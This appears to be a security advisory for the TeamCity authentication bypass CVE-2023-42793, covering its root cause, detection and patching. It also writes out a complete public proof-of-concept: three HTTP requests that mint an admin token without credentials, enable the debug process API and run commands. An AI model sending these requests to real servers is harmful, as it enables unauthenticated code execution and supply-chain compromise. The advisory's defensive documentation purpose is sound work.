TeamCity RPC2 Token Auth Bypass

Product: JetBrains TeamCity On-Premises
CVE: CVE-2023-42793
Disclosed: 2023-09-19
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: < 2023.05.4
Fixed: 2023.05.4

Summary

Any request path ending in /RPC2 bypassed TeamCity's authentication, which let anyone mint an admin access token. Russian SVR (APT29) and North Korean groups exploited it against software supply chains.

Root cause

The authorization interceptor whitelisted paths matching '/**/RPC2' for XML-RPC. The REST token-creation route /app/rest/users/{id}/tokens/{name} accepts RPC2 as the token name, so POST /app/rest/users/id:1/tokens/RPC2 returns an admin token without credentials; the debug processes API then executes commands.

Impact

Unauthenticated RCE and full CI/CD compromise.

Public PoC

# 1) mint admin token without auth
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: target:8111

# 2) enable debug process API
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Authorization: Bearer <token>

# 3) run a command
POST /app/rest/debug/processes?exePath=id HTTP/1.1
Authorization: Bearer <token>

Source: vulhub / teamcity/CVE-2023-42793

Detection

Look for POST/DELETE to /app/rest/users/*/tokens/RPC2 and requests to /app/rest/debug/processes. nuclei template CVE-2023-42793.

Mitigation

Upgrade to 2023.05.4+ or apply the security patch plugin; rotate tokens and secrets.